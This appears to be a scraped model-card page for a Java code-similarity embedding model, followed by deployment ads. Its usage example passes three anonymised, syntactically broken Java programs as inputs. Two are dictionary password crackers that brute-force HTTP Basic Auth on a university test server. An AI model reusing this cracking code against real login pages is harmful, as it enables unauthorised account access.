    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Deploy This Model

Production-ready deployment in minutes

Together.ai

Instant API access to this model

Fastest API

Production-ready inference API. Start free, scale to millions.

Try Free API

Replicate

One-click model deployment

Easiest Setup

Run models in the cloud with simple API. No DevOps required.

Deploy Now

Disclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.